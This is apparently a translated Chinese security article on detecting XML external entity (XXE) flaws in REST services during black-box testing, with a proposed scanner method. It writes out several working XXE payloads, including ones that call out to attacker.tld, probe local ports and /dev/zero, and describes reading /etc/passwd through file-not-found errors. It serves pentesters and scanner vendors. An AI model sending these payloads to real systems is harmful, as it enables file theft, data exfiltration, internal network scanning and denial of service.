导语:本文将会介绍一些手工渗透过程中检测XXE(XML外部实体注入)漏洞的思路,当然也会有一些自动测试。这些思路都是作者以前在黑盒测试过程中遇到的xxe漏洞的经验总结。

Generic XXE Detection

本文,我会介绍一些手工渗透过程中检测XXE(XML外部实体注入)漏洞的思路,当然也会有一些自动测试。这些思路都是我以前在黑盒测试过程中遇到的xxe漏洞的经验总结,可以很容易地转化为一种适用于web漏洞扫描器的通用方法,作为其扩展来使用。

我们会通过一个案例来演示,在这个案例中,服务端是没有使用XML格式的,但我们依然可以使用XML作为输入格式来访问服务,从而执行xxe攻击。

在写这篇文章的时候,我已经开发了一个Burp插件,叫“Generic XXE Detector”来自动检测xxe漏洞。后面有时间的话,我也会写一个ZAP扩展插件,把这种xxe漏洞的检测方法融入到扫描器中。

服务端中的xxe检测

在黑盒渗透测试中,我们通常会遇到一些服务端,主要是基于REST架构的,在浏览器的单页应用中使用。采用RESTful架构风格的终端通常都是以JSON作为传输格式,但是许多服务端开发框架(比如基于RESTful服务的JAX-RS)也允许基于数据交换的XML格式作为输入,甚至是输出。如果可以进行这种替换,可以通过修改请求头中的Content-Type的值(比如修改成text/xml或者application/xml)来进行验证触发。

所以现在的问题是找到终端服务中能够接收XML作为输入的格式,即使客户端只能使用JSON格式或者是直接路径或者是参数查询的方式来访问服务。为了将这种检测技巧从手工测试扩展到自动化测试的方式,扫描此漏洞的Burp工具需要一个通用的XXE检测方法,这样,在渗透期间,active scanner就会对scope中所有的url发起检测。

在一次对基于Java的服务终端挖掘xxe漏洞时(黑盒测试),我发现一个服务终端只有路径和参数查询作为输入源,并且以JSON的格式响应,而且就是一个简单的GET请求,没有POST,这种情况看起来似乎不会有xxe漏洞,因此人们也没多大兴趣在这个地方进行xxe测试,就连Burp的主动扫描也没有发现xxe漏洞。

但我手工测试了几次,竟然意外的测出了xxe,因为它确实是REST架构服务,而且也接收XML格式的输入,所以为了验证xxe漏洞,我使用了下面的一些技巧:

· 首先,我尝试者把GET请求转换为POST请求,这样就可以在请求体重发送XML格式的数据,不过,很不走运,服务端只接收GET,并不接收POST,所以我还是只能使用GET请求。

· 接着我删除了请求URL中的查询参数和路径参数,这样服务端就获取不到这些参数。由于是黑盒测试,我只能假设,删除掉查询参数后,会触发终端服务接收其他格式作为输入的一种模式。不加参数和路径访问服务时,出现了一个错误页面,提示没有提供输入数据。

· 即使只能使用get方式,但我还是修改了Content-Type类型为application/xml,然后在请求体中添加了一些无效的xml数据,提交请求后,在响应消息中出现了XML错误消息,显示某解析过程获取了GET请求中的Body payload,这就很有意思了,我觉得可以进一步测试一下。再添加上路径和参数后,发现响应中出现了业务错误信息,所以我感觉肯定要删除它们,要不然,服务端会优先对它们进行解析。

我想让服务端能够解析我的XML数据并至少返回一些技术性的错误消息,于是我使用常规的XXE技巧来获取数据(比如/etc/passwd或者列目录 /),因为我不知道使用这种XML格式对服务发起请求会出现什么结果,所以我不得不使用一种更通用的技巧,这种技巧即使没有将实体引用放在适当的XML元素中也可以正常工作。经过测试之后,服务器接收到XML数据后,也没有返回什么东西,只回显了技术错误。在这种情况下,只能使用OOB带外通道数据提取方法了。

但是因为这种基于URL的OOB数据泄露只能泄露一行文件内容(因为CRLF会分割URL),所以我将它与服务器响应的技术性错误消息结合起来并从中读取数据:

这里的思路就是将含有参数实体的数据传递到另一个文件实体中,以便在访问第二个文件时触发文件未找到的异常,并且将第一个文件的内容作为第二个文件的名字,这样的话,就成功出发了文件未找到异常,也完全返回了第一个文件的内容(这里并不需要纯粹的OOB提取技术)。

攻击者的DTD部分应用了文件未找到异常的回应技巧,在攻击者的服务器上写一个dtd文件,保存在http://attacker.tld/dtd-part中,内容如下:

1.png

然后发起请求(这是利用XXE的常规的OOB技术):

2.png

响应如下(返回文件为找到错误消息,但也返回了我们想要的数据):

3.png

使用这种文件未找到回应技巧来读取数据不仅解决了只能提取一行数据的问题,还解除了XXE利用中直接在XML元素中使用时的一些限制:文件内容包含了XML元字符(比如<和>),这会破坏XML的结构。使用了上面这种技巧之后,就不存在这种问题了。

上面的方法运行成功之后,我又发现了一篇好的文章纯OOB利用技术,这种方法使用ftp://scheme和自定义的FTP服务器,甚至能够在Java1.7+版本下获取数据。我想这种方法在上面的场景中应该也可行,即使服务器没有返回技术性错误消息,但它是一种纯粹的OOB提取技术。

小提示:这种文件未找到异常回应技巧在某些XSS场景中也可能派得上用场,比如尝试输入<script>alert(1)</script>作为文件名。但是这种XSS在实际环境中利用起来还是非常难的,因为你很难诱骗受害者去发起请求,这就需要结合社工技术了。

如何进行自动化扫描

这次我在手工渗透测试中无意发现了这个XXE漏洞(因为扫描器没有检测到),让我开始思考能不能有一种通用的方法来自动检测漏洞。最基本的问题就是这种扫描技巧应该能够对scope中的每一个请求进行扫描,即使这个请求没有包含任何的XML数据(因为上面的例子使用的RESTful架构而且只使用JSON格式也存在xxe漏洞)。

我灵机一动,就想到了这个办法(我也会很快写成Burp或ZAP的扩展)。扫描器应该在其主动扫描的每个请求中执行下列步骤,下面的步骤也只是来检测上面提及的场景中存在的xxe漏洞:

1.使用原始路径和查询参数以POST方法发起请求,跟原始的HTTP方法一样(即使是GET方法),在请求体中添加一个通用的DTD payload,并直接引用参数实体,如下所示:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "file:///some-non-existing.file" > %xxe; ]>

当然,不要忘了在请求头中添加Content-Type:application/xml,也可以尝试text/xml。

· 如果响应中包含如下消息(以文件未找到的形式返回了文件名)

javax.xml.bind.UnmarshalException - with linked exception: [java.io.FileNotFoundException: /some-non-existing.file (No such file or directory)]

就标记为可能存在xxe:

· 比较访问存在文件和不存在文件的响应。不存在文件的错误响应和存在文件但是DTD文件中没有有效内容的错误响应肯定会有不同,说不定能发现什么蛛丝马迹。

· 如果在文件未找到异常消息中回显了<script>alert(1)</script>作为文件名,那么也可以标记为xss。

2.如果第一步没有触发xxe,删除所有原始请求中的查询参数,再执行一遍。最后尝试删除每个路径参数(以防服务接收到这些参数,然后不会从XML body中去访问输入),重复上面的步骤。

3.如果上面两步还没有触发XXE漏洞,尝试使用众所周知的OOB技术(更多技巧的使用细节可以参考这里)。

使用下面的payload(设置Content-Type为application/xml)

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://attacker.tld/xxe/ReqNo" > %xxe; ]>

ReqNo代表的是每个请求的唯一编号。我们需要这个唯一的编号将日志条目和扫描的请求关联起来,然后将这些请求标记为XXE候选项。如果scanner提供了某种类型的输入,可以将观察到的webserver日志提供给扫描引擎,以检查已发出的匹配的OOB请求数,那么我们会得到最佳的结果。

4.如果上面的步骤还没有触发xxe漏洞(由于服务器无法访问攻击者的webserver),可以尝试使用基于DNS的OOB技术,在域名中包含前面提到的XXE请求编号ReqNo,比如下面这个payload:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://ReqNo.xxe.attacker.tld" > %xxe; ]>

这样一来,至少通过其DNS服务器对攻击者域的DNS解析可以用于触发XXE匹配,当在测试结束后,扫描器会解析DNS服务器的日志,然后与扫描的请求联系起来 。

5.如果上述请求还没有触发XXE条件,那我们就只能在侧通道上进行完全的盲测了,比如计时测量:我们可以使用不同的payload来检查内网中可以访问的端口,然后比较不同payload的响应时间,比如这两个payload:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80" > %xxe; ]>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:9876" > %xxe; ]>

· 当然,也可以对file协议进行类似的测试,访问大文件和小文件进行对比。当你使用风险扫描器时,你可以计算一下当你访问/dev/zero文件时所增加的响应时间。

· 使用风险扫描器也可以测量内置扩展的处理时间,比如billion laughs attack,这是一种DOS攻击,关于这种攻击可以参考这里

注意,在上述场景中,扫描器并不需要知道具体的XML格式,因此这种扫描技术应用于请求之中也非常容易,即时他们在被动观察过程中没有使用任何XML数据。所有的XMLpayload在DTD中都是完全独立的。我们的想法是对每一个请求进行扫描,自动检测服务终端中可以使用XML格式进行访问的位置,就跟RESTful开发框架的例子一样。

上面的这些XML DTD payloads(使用OOB请求去检测XXE,不管是审查攻击者的webserver日志还是计算时间差),这些payloads都可以简化成一个纯粹的外部DTD方法,如<!DOCTYPE test SYSTEM "http://attacker.tld/xxe/ReqNo"> 或者 <!DOCTYPE test SYSTEM "file:///dev/zero">。不过上面提供的更长的payload测试在查找xxe漏洞时更有效,因为短版本的payload只验证了外部DTDs,而且不能加载实体。

总结

作为pentester

注意应用程序中任何服务端并进行渗透测试,并且强制他们接收XML格式数据,即使在应用程序中的这些终端只接收其他格式的输入,比如查询参数,路径参数或者是JSON格式。如果运气好的话,终端也配置了可以接收XML格式的数据,那么就可以进一步测试是否存在xxe漏洞了。

作为扫描器厂商

将本文中提到的这些想法整合到扫描引擎中,通过自动解析日志文件来强化扫描效果,并简化使用OOB技术来检测通用的XXE漏洞,即时在扫描大型攻击面时也是如此简单易用。

源链接

Hacking more

...